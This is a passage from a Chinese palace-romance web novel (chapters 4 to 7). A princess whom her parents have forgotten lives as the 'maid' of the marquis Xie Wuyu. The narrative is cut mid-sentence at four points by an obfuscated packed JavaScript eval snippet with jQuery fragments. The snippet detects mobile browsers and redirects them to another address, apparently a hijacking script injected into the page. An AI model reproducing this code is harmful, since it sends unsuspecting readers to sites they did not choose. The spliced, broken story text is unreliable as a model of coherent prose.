若非这衣物崭新洁净,显然无人穿过,纪锦芙自然不穿。她扯着及地的长裙,一蹦一跳走到谢无虞面前,看他装模作样拿了本书在手,忍不住道:“你书都拿倒啦,装什么啊,没见你考个状元回来。” 她自幼不爱读书,齐隗等人都是想尽法子帮她捉刀代笔,偏这人古怪,总爱在爹娘面前显出一副勤奋好学的模样,惹得爹总为功课责骂于她。 见谢无虞面上略有被戳穿的尴尬之色,纪锦芙自觉扳回一城,朝他做了个鬼脸。 谢无虞将书册丢在一边,正色道:“郡主既然梳洗完了,我们总该说些正事了。” “对啊!”纪锦芙忙道:“你快带我去见我娘!” 谢无虞看了看面前空荡荡的茶杯,以目光示意替他倒茶。见纪锦芙万般不愿,撅着嘴勉强替他斟了杯茶,还低声喃喃了句“喝不死你”之后。 他才道:“多谢关心,不过郡主亲手倒的茶,纵然里面下了毒药,我也是死得其所~” 眼见纪锦芙正要发火,谢无虞话锋一转:“不如我们二人打个赌?” 纪锦芙杏眼圆瞪,“你少卖关子!” “我当然可以带你去见长公主,但……”谢无虞眼波流转,似笑非笑,:“若是长公主也不认得你,你就得在我身边做三年丫鬟,顺从我、服侍我,如何?” 这女子从前倚仗出身高贵对他百般折辱,如今何不趁势讨回? 纪锦芙横眉冷对:“做你的春秋大梦,还想让我服侍你?” 谢无虞倚在榻上,一手支颐,整个人有种说不尽的风流姿态,“或者……我委屈些,娶你为妻如何?” 嫁给他岂不是要天天见、日日见,死了还得埋在一起,变成鬼还要在一起! 那还不如做三年丫鬟呢!好歹有个期限不是? 纪锦芙气地跺脚:“做丫鬟就做丫鬟!”她不想办法整死谢无虞才怪! 但……总觉得有种把自己绕进去了的感觉是怎么回事? 谢无虞呷了一口茶水,看着纪锦芙鼓起的一半侧脸,心情大好:“你也不吃亏,我再送你两个人头如何?” “人头?”纪锦芙奇道。 谢无虞叹了口气,这笨丫头真是记吃不记打,就这么好骗,“齐隗和他的小情人啊,怎么,郡主这么大人大量,就饶了他们了?” 怎么对自己不肯大方些?小时候的仇记到现在,都十来年了。 “对啊!齐隗和戚丽容这两个贱人!”纪锦芙拍案而起,扯着谢无虞便出了帐子:“我一定要让娘替我报仇!” - 纪琰兴致勃勃地带着诸多猎物归来,还未进帐,便急切地唤道:“舜华,舜华!” 长公主元舜华正与女儿纪锦林谈诗,听得丈夫声音,便与女儿一同掀帐去迎。见纪琰一手拎着兔子耳朵,一手拎着白狐尾巴,不由得笑道:“瞧你爹,快四十来岁的人了,性子还跟年轻的时候一样。” 纪琰将猎物递给下人,自觉在元舜华面前微微俯身,好教元舜华方便替自己擦去额头汗水。 纪锦林见父亲嘴上滔滔不绝,言道今日围猎如何如何,在母亲面前邀功,不由得好笑。 父母情好,她自幼见得多了,不免也向往日后夫妻和睦。 只是她素来体弱,恐非寿考之人,不免生出许多愁思来。但为防父母忧思,纪锦林从来不肯显露,只安静地走在父母身后。 纪琰骑□□湛,从前更是长于狩猎。只是如今年岁渐长,亦有意不在人前显露,便只猎了些许白狐、银狐、野兔等,可以给家中女眷做些衣裳,旁的便也不放在心上。 元舜华翻看着丈夫带回的猎物,其实狐皮、兔皮之流,她跟女儿本就司空见惯,更何况丈夫每次围猎都所获颇丰,留在身边实在无用。 她转念一想,便问道:“那日在行宫饮宴,似乎见到了戚贵妃的本家侄女儿?” 纪锦林颔首:“是呢,那位戚姐姐对我很是照顾。” 元舜华便吩咐下人,将丈夫带回的兽皮硝制,然后送去戚贵妃处。 “初次见面,倒也该送些见面礼。” 那女孩子眉目之间精明外露,她虽不喜,但该做的功夫,总要做足。 戚贵妃执掌后宫已久,又育有梁王元慎、陈王元秀二子,虽则太康帝迟迟未曾封后,但梁王乃是长子,自然炙手可热。 纪琰挠了挠头,“看来舜华和林儿是不喜欢野狐和野兔了,唉,这也好办,等过几日,我想法子猎头老虎来正好。” 老虎威风,舜华肯定喜欢。 元舜华和纪锦林相视一笑,均道:“不是不喜欢,是家里实在太多,穿不下啦!” “衣服总是不嫌多嘛。”纪琰笑道。 纪锦林心知父亲如今军功太盛,虽则太康帝恩遇有加,但心中已生退意,便劝道:“父亲身上有旧伤,何必勉强呢?更何况,从前您猎了许多,咱们家里要什么没有呢?” 纪琰本就是为博妻女欢心,听罢此言,便也一笑了之。转头跟元舜华提起了今日纪锦芙闯入围场之事。 元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309645|198769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舜华奇道:“这却奇了,虞儿那孩子不是向来不让女子近身的么?” 谢无虞容貌太盛,却是妖冶有余、豪迈不足。平素又不爱女色,军中难免传出些许无羁流言,说他喜好男色云云。 纪琰原本亦有忧心,如今才是长出了一口气,到底不至于令谢氏就此绝后,也算对得起已故的义兄了。 元舜华猜到丈夫心思,嗔怪道:“有这样的事儿,你也不早说。”她转头又去吩咐下人备礼,到底谢无虞是她看着长大的,关系比之戚贵妃的侄女要近的多了。 其实听闻谢无虞收房了一个侍女,不仅纪琰放心,元舜华原本的忧虑也放下不少。她是从未信过谢无虞喜好男色的流言的,只是担心丈夫会否起意将女儿许配给他。 谢无虞的外在条件实在没什么可挑剔,可元舜华自幼看他长大,知晓这孩子心思深重,不能容人,于夫妻一道上,恐怕不是良配。 这时,下人突然进来通传,说道淮阴侯来访。话音未落,便听得脚步声响,一个身着男装的女子跑进帐中。 未等众人反应过来,只见那女子直奔元舜华而来,纪琰下意识将妻子护在身后。 见此情景,纪锦芙还有什么不明白?她怔在原地,看着父母眼中的警惕与陌生,一时之间,只觉得天旋地转,原本想了满腹的话,竟一句也说不出来了。 这到底是为什么? 那是她的爹娘啊!如珠如宝一般疼爱了她十九年的爹娘啊! 不知何时站在她身后的谢无虞扶了一把她的胳膊,将她揽在身后,向长公主夫妇见礼后说:“小鬟无状,冲撞了叔父叔母。” 纪锦芙浑身无力,半倚着谢无虞,方才堪堪站稳,谢无虞一手背在身后,飞快地握了下她的手。 纪琰见状,便出来圆场,向妻子道:“这位姑娘,便是我方才同你说的……” 元舜华是何等聪慧之人,三言两语便揭过了方才的尴尬。恰值正午时分,便又吩咐下人整治酒肴。 席间,纪锦芙一直神思不属,连寻常爱吃的野味也味同嚼蜡,只是哭丧着一张芙蓉面,盯着纪锦林瞧个不停。 谢无虞轻咳一声,趁众人不备提醒道:“别总四处乱看,太明显了。”虽然纪琰为人平和,且真心疼爱自己,但长公主爱女如命又权势滔天,若真惹她不快,那就难办了。 到底长公主如今全无关于纪锦芙的记忆,还是小心为好。 想到此处,谢无虞便欲告醉离去,身边的纪锦芙却忽然道:“还未知这位姐姐是何人……” 一副娇声幽幽怨怨,任谁听了都觉着这姑娘是受了什么天大的委屈。 谢无虞无奈,只得轻轻踢了踢纪锦芙的靴子提醒她。纪锦芙难过归难过,倒也没忘了反击,立刻使劲踩了谢无虞一脚。 纪锦林正忙着替父母布菜,闻言便道:“我乳名锦林,姐姐唤我林儿就是了。” “你姓什么?”纪锦芙连忙追问。 纪锦林莞尔一笑,清丽如初雪,“自然姓纪,敢问姐姐芳名?” 锦林,纪锦林…… “啪”的一声,纪锦芙的筷子掉在桌上,她侧身垂眸,抑制住眼中的泪水,轻轻拉了拉谢无虞的袖子,低声道:“我……我身体不舒服……” 谢无虞心知纪锦芙定然万分难过,于是起身告罪,二人携手并肩离去。 5. 第5章 一顿小宴仓促结束,留下长公主一家人面面相觑。纪琰见这二人来去匆匆,十分不解。 便问妻子道:“舜华,依你所见,这姑娘如何?” 元舜华笑说:“匆匆一面,如何能知?倒是你,一个做叔父的,方才怎么也该问问清楚才是。” 纪琰叹道:“我一向笨嘴拙舌,不知该如何开口。”更何况对方是个年少女子。 “那我要说,这认为这姑娘还不错,你怎么想?”元舜华妍丽的眉目之间有些促狭。 “舜华说好,那便是好!” 元舜华摇了摇头,“我的傻夫君呀,我说好就是好么?” 纪琰笑意温和,心想:我这人素来愚笨,自幼不为家人所喜。这辈子唯有娶你为妻一事算是聪明,自然你说什么便是什么。 一直默不作声的纪锦林突然说道:“我也觉得好。” 元舜华有些讶然,林儿一向不爱与人交际,更不会轻易评价旁人。纵然她与谢无虞等人一同长大,不过也只是在年节时分打些交道。 如今怎么会贸然出言替谢无虞的姬妾说好话? 纪锦林似有所感,只笑说:“这位姐姐生得很面善呢,眉宇之间像娘亲,走路的姿态像爹爹。” 纪琰恍然大悟,看了看妻子,又看了看女儿:“不错不错,确是不错!”那女孩儿与林儿年纪相仿,生得也有几分相似呢! 元舜华听罢,默然不语。 - 一路上,纪锦芙都沉默不语,待到回了谢无虞的牙帐,她颓然坐倒在地上,一双美目蓄满泪水,真如芙蓉泣露,惹人怜惜。 谢无虞轻叹,俯下身想将人扶起,纪锦芙一把甩开他的手,冷冷道:“你放心,愿赌服输的道理我还是懂得。” 谢无虞怫然不悦,语调也冰冷下来,“既然如此,你如今的身份也该明白。” 纪锦芙怒目而视:“趁人之危的小人!” “不错,谢某自是小人,不过郡主心中的君子,换到这般境地又会如何?” 说罢,谢无虞伸手将纪锦芙抗在肩上,不顾她反抗,强势地将人丢在榻上,又替她除去鞋子,欺身而上。 “你又干什么?”纪锦芙见谢无虞面色冷硬,目光更是前所未有的森然,心中不禁有些打鼓。 其实她自幼跟谢无虞打闹长大,但少见他如此神态。他本就男生女相,只是平素惯用轻浮风流之态示人,并不让人觉得难以接触。 如今乍然冷下来,眉宇之中透露出阴鸷狠戾,纪锦芙下意识地便往后躲。 可谢无虞长于武艺,眼疾手快地锢住她的纤腰,“想往哪儿跑?” 纪锦芙心想,在你床上还能往哪跑,她只是觉得这种氛围有些令人不自在,便偏过头去,懒得给谢无虞眼神。 显然这一偏头,反倒更激怒了谢无虞,他轻嗤一声,嗓音喑哑:“这么嫌弃我啊……” 他忍无可忍,伸手掌住纪锦芙的小脸,迫使她直视自己。 “这寄人篱下,可不是那么容易。”谢无虞的目光划过她丰润粉嫩的唇瓣,暖玉一般的脸被他握在手中,不由得便升起满足之感,“不知郡主,肯受此辱否?” 男子手心里的茧子粗粝地摩挲着她的脸,纪锦芙皱了皱秀气的鼻子,不肯认输地瞪了回去。 可靠得太近,纪锦芙的目光便有些控制不住地游弋起来,半晌,她平心静气地道:“我发现,你睫毛还挺长的。” 谢无虞本欲发难,却被这突如其来的夸赞弄得不自在起来,连忙放开纪锦芙,又伸手展开被褥将人裹成个蚕蛹状,背过身去不敢看她。 纪锦芙觉得莫名其妙:“你干嘛啊?”这人是不是有病啊,一会掐自己脸放狠话,一会儿又给自己盖被子。 男人心,真是捉摸不透。 谢无虞整个人缩成了个虾子,嘴上虚张声势道:“本侯身子骨弱,睡不了冷床。” “所以你得给我暖床,暖不好的话,你给我等着!” 纪锦芙翻了个白眼,“好哇,我等着。”说罢也不管谢无虞,径自翻了个身睡了。 待到申牌时分,侍从吴钩来报,长公主赏赐了东西给纪锦芙。谢无虞抬眸,来人竟是从前纪锦芙身边的贴身丫鬟玉钗。 玉钗行过礼,便说道:“长公主吩咐奴婢送些细软给您房中那位姑娘,虽说不是什么珍贵之物,但在这骊山之中,想来刚好用得上。” 这倒正好,谢无虞处本也没有女子的东西,便道:“烦请替我谢过长公主,改日我再去向纪二叔与长公主请安。” 玉钗掩唇笑道:“可巧了,长公主说郡主素来不爱走动。可姑娘跟郡主从今往后便也算是一家人了,还说要常来常往才好啊。” 谢无虞默然,长公主智算过人,若是频相接触,恐怕纪锦芙那丫头早晚说漏嘴。 长公主如果觉得此事荒诞无稽,惹怒了她,那就麻烦了…… 正当他踟蹰之时,内间悠悠转醒的纪锦芙听到动静问道:“谢无虞,是谁啊……” 玉钗听那女子声音绵软动听,带着些许午睡刚醒的娇慵,宛若叶底黄鹂,她已到了渐知人事的年龄,便不由得脸上一红。 从前谢无虞还在定国公府上生活的时候,哪个大姑娘小媳妇不多看他几眼?甚至有胆子大的丫头暗送秋波,频频示好,只不过他从来都无动于衷,众人才渐渐歇了心思。 谁知道……谢小侯爷也学会金屋藏娇了。如此宠爱,恐怕这女子将来造化不浅。 玉钗立刻道:“奴婢是长公主派来服侍姑娘的,姑娘现下要起身么?” 纪锦芙如梦初醒,听见熟悉的声音立刻跳下床,叫道:“玉钗!玉钗……” 谢无虞在身后微微摇了摇头,纪锦芙才反应过来,如今玉钗自然也不认得自己了。 玉钗等人自幼在她身边服侍,其实一同长大,自然主仆情谊深重。 如今见面不识,纪锦芙立时闷闷不乐起来。 玉钗不明就里,只见这位姑娘原本还兴高采烈,一见自己立刻撅起嘴,似是不悦。 只得转开话题:“姑娘怎么知晓奴婢的名字呢?这却巧了……” “啊?”纪锦芙踟蹰道:“我是说……玉钗!我的玉钗丢了!” 多亏她急中生智啊! 谢无虞见她那副模样,无声地勾了勾唇角。 玉钗笑道:“这却巧了,刚好长公主让我送来些钗环,您不如挑挑看?” 纪锦芙一听得“长公主”三个字,眼睛一亮,“是娘……呃……” “是公主娘娘送来的啊!替我谢谢公主娘娘,哈哈。” 谢无虞见到这般生硬的改口,实在忍耐不住,朗声而笑,俊脸上满是促狭。 看到纪锦芙这副“不情不愿”的模样,当真有趣。 纪锦芙没好气地把正拿在手中的臂钏往谢无虞身上砸去,嗔道:“你又笑我!” 玉钗被她突然发难吓了一跳,那臂钏乃是纯金打造,分量可不轻啊。 谢无虞倒没当回事,抬手稳稳接住,又随意丢回纪锦芙怀里,坏笑道:“这是长公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可怜纪锦芙一个娇娇小姐,何曾自己剥过石榴,她抱着石榴鼓捣了半天,抬头问道:“为什么掰不开?” 谢无虞道:“怎么,你就这样半途而废了?” 纪锦芙连连摇头,掌心向上,将一双柔荑伸到谢无虞眼前,“我手都掰痛了嘛……” 她指甲养得极好,又染了蔻丹,端的是十指纤纤玉笋红。谢无虞无奈,只得将石榴掰开,又放回她掌心。 纪锦芙喜笑颜开,择了几粒石榴放入口中,清甜微酸,味道正好呢。 谢无虞屈指敲了敲桌面,示意她自己还在这儿呢。纪锦芙这才反应过来,自己正在“服侍”谢无虞呢,便匆匆剥了石榴,捧在掌中递了过去。 这丫头,使坏都这么不走心。谢无虞垂眸,只见莹白似玉的手掌心间,托着几粒鲜红欲滴的石榴粒,便扯过她纤细的腕子,就着她的手,含住了石榴。 纪锦芙吓了一跳,下意识便想抽手。怎奈谢无虞的力气较之于她,实在大上许多,只消圈着她的腕骨,就令她动不了分毫。 她只觉得似有什么湿润柔软的东西蹭过自己掌心,虽然一触即分,但那异样的感觉,仍然酥酥麻麻地留在她掌中。 这谢狗真的以为自己是狗啊! 纪锦芙勉强笑笑,攀上谢无虞臂膀,自以为悄无声息地将手掌在他衣服上蹭了蹭,干笑道:“你吃饱了么?” “要是吃好了,不如我们先去歇了?” 6. 第6章 “咋可能,咱将军不是向来不近女色吗?莫说娶妻了,听说屋里头连个年轻丫头都没有。” 纪锦芙疑惑,谢无虞已是弱冠之年的男子,房中竟然没有姬妾服侍?不过她自幼见父母情深,自然不喜男子纳妾蓄婢,心中不免高看他几分。 可是千里寻夫,说得不会是她吧? 待到金吾卫走近,其中一人目力极佳,见到树后似有人影,便大喝一声道:“是谁在哪儿?!” 纪锦芙吓了一跳,见自己的斗篷似乎暴露在外,连忙拉到自己身前。屏住呼吸,连大气都不敢喘。可金吾卫仍在慢慢逼近,她不禁懊恼起来,这下要是被捉住,可再没个谢无虞出来救她了…… 眼见众人持刀逼近,纪锦芙正不知所措间,忽得不远处传来两声异响,金吾卫便闻声而去了。 纪锦芙拭了拭额角冷汗,连忙轻手轻脚地跑远了。 金吾卫将四处搜查一遍后无果,不由得疑惑。众人正七嘴八舌地议论起来,暗地里却乍然转出个人影。 只见来人一身玄衣红带,负手而立,月光之下实在俊美非常,凛若冰霜,正是左金吾卫大将军谢无虞到了。 “你等缘何散漫至此,若遇敌袭,安有命在?” “要是吃好了,不如我服侍你先去歇了?” 纪锦芙巧笑倩兮,自觉挤出了她认为最谄媚、最甜美的笑容。 谢无虞一时失语,看着朝他挤眉弄眼的纪锦芙,不禁有些泛起嘀咕。这大小姐发起娇嗔来,该不会要趁他睡着,一剑把他给捅死吧? 纪锦芙见他没反应,便催促地拉着他的袖子往里间走:“走嘛走嘛~” 谢无虞任她拖着,来到床前站定,张开双臂,示意纪锦芙替自己更衣。 纪锦芙在心里骂了一句谢狗,便伸手去解谢无虞的腰带。 忍耐忍耐!按照玉钗说的,谢狗马上就可以任她施为了!想到谢无虞躺在床上向自己求饶的样子,不由得偷笑出声。 谢无虞无奈,这丫头就是这样,心里想三分,面上倒要显出十分。仿佛生怕别人瞧不出她心思一样,这么愚笨之人,将来必然遭她丈夫拿捏得很惨。 他抱定心思,要看纪锦芙到底在动什么脑筋,就一意配合这笨手笨脚的大小姐,索性自己脱了外袍。 要让她脱,不知道又要脱到什么时候去。谢无虞挑眉,“你退下吧,本侯要歇息了。” 退下?她还没开始呢,怎么能退下? 纪锦芙有些激动地搓了搓手,把人摁在塌前说:“侯爷且先歇息,我去去就回。”说罢,便吹灭烛火,转身离去了。 徒留谢无虞一人,浑身僵硬地躺在榻上发怔。 去去就回是什么意思? 半夜不歇息,还要跑到他这儿来? 约摸一炷香时间后,纪锦芙蹑手蹑脚地凑到塌前,轻声唤了他几声。谢无虞半阖着眼,故意不答。 见人已熟睡,纪锦芙便开始思考,先从哪儿开始绑比较好些? 白日里,她问玉钗有什么法子对付谢无虞。玉钗说,先小意温柔,对他撒娇讨好一番。待到夜里歇息的时候,再把人绑起来,行事的时候换成她在上面,到时候自然就能控制谢无虞。 纪锦芙觉得有道理,但是她不明白,她为啥要在谢无虞上面? 不过感觉也不重要,反正她把人绑起来就是了! 谢无虞正在假寐,想要看她下一步如何动作。却突然感觉到身边床榻下陷,竟是纪锦芙爬了上来。 他连忙闭紧双眼,黑暗之中,旁的感官便分外敏感起来。 纪锦芙似乎轻轻掀开了他的被子一角,少女身上的淡淡馨香传来,谢无虞不由得怔住。还不待他有所反应,纪锦芙似乎又在他床铺之间摸索了起来,一双手毫无章法地在他身上四处乱碰。 谢无虞紧握双拳,额上青筋虬起,极力忍耐着不去思考被她触碰过地方带来的酥麻之感。可偏偏那大小姐仍似无知无觉一般,在他身上四处游弋。 谢无虞只觉浑身燥热难当,汗湿寝衣,正当再也抑制不住的关口,纪锦芙却停了下来。 一阵窸窸窣窣的衣料摩擦声后,他觉得手腕一紧,居然被绑了起来。 搞这么大的阵仗,居然是想趁他睡着了把他绑起来? 谢无虞瞧瞧睁眼,只见纪锦芙背对着自己,毛茸茸的斗篷下整个人正哼哧哼哧地将自己的两条腿绑在一起。 唉…… 等到纪锦芙心满意足地跳下床走了,谢无虞睁开眼起身一看,这大小姐不知从哪儿找了根藕粉色发带来绑自己,未免也太小瞧他了。 显然纪锦芙很少做这种事,在他手上系了个蝴蝶结不说,怕他挣开却又缠了好几道,绑得倒是死了,样子却十分丑陋。 谢无虞索性手腕用力,轻而易举地便脱困而出,随即又扯开脚上的束缚。 他看着被他弄得四分五裂的发带,恐怕纪锦芙回来见了又要发怒,便偷偷揣进怀里,下榻寻人去了。 — 纪锦芙偷溜出谢无虞牙帐,一路志得意满地往元舜华夫妇的牙帐而行,她准备跟爹娘说明发生在自己身上的事儿,总归要令他们想起自己才好! 至于那个不知道从哪儿冒出来的纪锦林,等爹娘忆起自己,一定会立刻把她赶走的! 她才是爹娘的亲生女儿,也不知道那个纪锦林用了什么妖法,竟然让爹娘将自己忘了。 可是谢无虞怎么没中她的妖术?难道是因为他身体特别好些? 纪锦芙一路走,一路胡思乱想。皇帝出行,安全由左右金吾卫负责,夜间自然也不例外。 远处缓缓行来一列巡夜的金吾卫,纪锦芙左右环顾,四下空旷,只能匆忙躲在树后。 “听说今日有个女刺客闯入围场?” “什么女刺客,听故事都只听一半。那位是咱们大将军房中的女眷,是来千里寻夫的——” 至骊山围猎,青山绿水之间,金吾卫不免有些松散下来。谁料今日正好被上官逮个正着,众人不由得噤若寒蝉。金吾卫中多是贵族子弟,难免骄纵,但淮阴侯威望颇高,且治军极严,众人无有不服。 中郎将韦观连忙请罪:“大将军容禀,我等远远见着人影,正欲上前探个究竟,谁知道是您老人家来了。” 谢无虞冷冷道:“此处无人,你们继续巡夜,不得懈怠。” 韦观道:“是吗?我还以为,是混进了个女刺客呢——”他看得分明,方才树后明明有个人影,而且他敢肯定,刚才那个人绝对不是谢无虞。 以谢无虞的本事,要是想偷偷潜入,绝无可能漏出这等马脚。 谢无虞轻咳一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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深更半夜,他要出手助这大小姐进去了,以纪二叔从军多年的警惕,当场杀了她也不无可能。可他要不出手,纪锦芙也是个被侍卫捉住的下场。 这大小姐的心思,当真难以捉摸。 以他所见,长公主等人既然没了关于她的记忆,那便不该贸然接近。毕竟他们位高权重,手掌生杀大权。 可转念一想,纪锦芙自幼被捧着长大,与她而言,那些都是她的至亲之人。所以一时之间转不过脑筋,也是人之常情。 到底,纪锦芙不似他一般,自幼见惯世态炎凉,知晓人心叵测。 谢无虞正犹豫要不要干脆将人打晕扛走时,纪锦芙一脸懊丧地靠着山石坐了下来,似乎歇了闯进去的心思一样。 纪锦芙抱膝而坐,把自己团成了一团。或许是所谓的近乡情怯,越发靠进父母营帐,她反而越发得不知所措起来。 从前她听父亲说过,母亲生产之时万分凶险,足足生了一天一夜,才将她生下来。 是以周围众人,都分外疼惜她些。 就连向来不喜父亲的外祖父,也从汝南亲自到云安看望她,还亲自替她起了锦芙这个名字。这十九年来,她长于父母羽翼之下,更是享尽人世间繁华富贵,娇惯得她除了花钱享乐,一无所长。 白天见父母对着那个纪锦林,跟对着自己时大不一样。 父母对自己纵然溺爱,但她胡闹撒娇之时,他们仿佛总有许多无奈和叹息。而对纪锦林,母亲跟她谈诗论画时,神情中那种发自内心的赞叹欣然,她从来没有见到过。 会不会……哪怕将来父母忆起她了,也觉得她实在太混账无用,而不要她了呢? 7. 第7章 谢无虞远远看着,纪锦芙靠在那里一时哭,哭够了又嘿嘿傻笑起来,笑了没多久却又撇撇嘴开始掉眼泪。最后,哭着哭着,竟然趴在山石上睡着了。 唉……女儿心思真叫人难以琢磨。 他生母养他到五六岁,便一病死了,从此后他便流落街头,乞食为生,是以谢无虞除了生母与 长公主外,接触最多的女子,还真要属年龄相仿的纪锦芙了。 他对生母已无太多印象,只依稀记得母亲与元舜华母女相比,是截然不同的温柔如水的女子。虽然待自己很好,但乱世之中,难免受了许多挫磨委屈。 否则她也不会年纪轻轻,便撒手人寰。 长公主对谢无虞不可说不慈爱,但毕竟不是亲生母亲,总令他觉得分外惶恐与疏离。更何况谢无虞自幼敏感多思,又总能一眼看穿旁人心思。他知道长公主对待这些丈夫收养来的孩子,不过是爱屋及乌,并无几分真情。 是以谢无虞对长公主,却也是敬远大于爱。 年幼时谢无虞总是读不懂长公主那双比江南春水还柔美的眼睛,在望向自己时,为何反而令他不安。渐渐长大,他大约有几分明白,那无非是一个妻子因丈夫而不得不与他这样一个“下贱”之人相处的无奈罢了。 而纪锦芙,就比她母亲简单得多了。 她那肖似其母的杏眼里,对他从来就没有过任何留恋。纪锦芙的情绪总是清楚明白得写在脸上,自从幼时初遇他们产生龃龉开始,纪锦芙对他就只有鄙夷与不屑。 谢无虞反身跃下,身姿矫健自如,他天赋既高,年纪轻轻便已勇冠三军,躲避侍卫自然不在话下。 纪锦芙伏在石上兀自睡着,但见她蛾眉轻敛,红唇微启,光洁的面颊上泪痕未干,显然睡得并不安稳。谢无虞心间紧缩,下意识伸出手,想要为她拭泪。 将触未触之间,他猛然回神,收回手在衣襟之上擦了擦,才屈指将纪锦芙脸上的泪痕拭尽。 纪锦芙也是不肯亏待自己,出来夜游,倒也不忘了把自己裹得严实些。 不过秋日夜间寒凉,女儿家身子又娇贵,谢无虞不免将自己的大氅解下,罩在她身上。 未几,谢无虞见纪锦芙睡得面颊生晕,心下又有些不服起来。 他又不欠她的,还好心给她盖衣服? 明明这女子还耍手段绑自己,若被她知晓,恐怕要爬到自己头上去了。 于是谢无虞轻哼一声,探身过去,把自己也罩进大氅之中。 一人一半,方算公平。 月色幽微,二人靠得极近,呼吸交缠。谢无虞目光所及,纪锦芙纤长的睫毛历历可数。 他心中轻叹,这人生得太好,纵然云安城中美女如云,纪锦芙也是数得上的绝色了。 可惜,选丈夫的眼光跟容貌成反比。 齐隗那个小人,谄媚几句把她捧上天,便把她拐到手了。 实在愚笨肤浅,令人发笑…… 不过这齐隗……面对如此美眷亦不动心,谢无虞倒也敬他是个人物。 或许是这女子脾气太差之故? 正当此时,纪锦芙在梦中突然喃喃道:“谢……谢……” 谢无虞凑近去听,纪锦芙正一连串地唤他名字,他正兀自心跳不已时。 纪锦芙突然道:“谢狗,还钱!” 谢无虞苦笑,长公主夫妇富可敌国,这位娇小姐更是一贯挥金如土,怎么小时候那十两黄金之仇,就记到现在了呢? 一夜无话,纪锦芙悠悠转醒之时,身边空无一人。远处东方将白,日光自山脚而起,天际处还残留着夜间的些许苍凉。四下里鸟雀啁啾,花木气息馥郁清新,近处炊烟袅袅,想来侍人们已经开始忙碌了。 纪锦芙揉了揉眼睛,昨夜她只是想在这儿歇歇脚,没想到哭着哭着睡着了…… 她现在一定很难看!!!! 纪锦芙一面捂着脸,一面往溪边走。还没走出几步,便一头装进了一人怀里。 她抬眼一看,来人一席青衣,婷婷袅袅,玉质聘婷,正是纪锦林。 纪锦芙顿觉自惭形秽,匆匆掩面欲走,却被叫住。 “姐姐这么早,也是来收清露吗?” 纪锦芙奇道:“收清露?”随即还不忘抬起袖子挡住红肿的双眼。 纪锦林莞尔:“白露时节,收些花叶上的晨露正好,泡茶也可、入药亦可。” 纪锦芙道:“那吩咐下人去不就好了,干嘛起这么早自己去啊?” 纪锦林道:“我睡不着,正好出来走走,姐姐要一起么?” 纪锦芙疑惑,睡不着早起?她只有睡不够早上起不来。她正愁没办法解了纪锦林施的“妖法”,所谓知己知彼百战百胜,便道:“那我同你一起罢。” 纪锦林颔首,二人同行,玉簪等侍女在身后随行。一路走来,纪锦林每到一处,便亲自取露水,众侍女们一人带了一个瓶子,或是白玉、或是碧玉、还有琉璃、陶瓷等等,各有不同。 纪锦芙看众人忙前忙后,嘴上便喊着要来帮忙,可是身子倒是半点不动,只叉腰在一旁看着。 纪锦林也不见怪,只是慢条斯理地换着瓶子去接露水。 “这些瓶子,到底有啥不一样?”纪锦芙看了半天,没看出什么特别。 纪锦林道:“骊山水草丰茂,花木也多。所以,我便多带了些瓶子,按照草木的不同分别放置,也不费什么事儿。” 纪锦芙嘴角微抽,这叫不费什么事儿,这人矫情得很。 再怎么好的茶,凡宫里有的,她们府上自然也有,什么好东西是她纪锦芙没见过的?一点子露水,有什么稀罕。 纪锦芙有心刁难这“妖怪”,便道:“若说茶么,我看露水比之雪水,倒还略逊一筹。不知姐姐平日爱喝什么茶?” 纪锦林仿佛没听出纪锦芙话中的古怪,仍是笑道:“我爱六安茶多些。” 纪锦芙轻啧两声,“若说贡茶之中呢,自然是首推蒙顶石花了。”其实她喝不出来茶有什么分别,只是一心要把纪锦林比下去,便把从前元舜华说过的话拿出来,“姐姐岂不闻‘扬子江心水,蒙山石上茶’?” 这句话本是“蒙山顶上茶”,不过纪锦芙一向不爱文墨,听过一次也记不清楚。她浑然不觉自己闹了个笑话,反还得意洋洋地看着纪锦林。 纪锦林也不戳穿,“姐姐说得很是,所谓‘闻道蒙山风味佳,洞天深处饱烟霞’,贡茶之中,素有蒙顶第一、顾诸第二之说。只不过人人喜好各异,我娘跟姐姐一样推崇蒙顶茶,至于爹爹么……总说喝什么都是一样的。” 听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309648|198769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她提起爹娘,纪锦芙立时□□脸,那股子斗鸡般的劲头也没了。 日头渐渐大了些,纪锦林的露水也收集得差不多了,两人便往回走。 一路无话,直到快回到长公主等人的营帐时,纪锦林才道:“姐姐若不嫌弃,不如带一瓶回去。不拘用来做什么,只图个新鲜也好。”说罢,从她玉钏手中接过琉璃瓶,亲自递给纪锦芙。 纪锦芙心下不忿,也不道谢,只道:“娘……呃,我是说公主殿下,她喜欢用露水泡茶?” 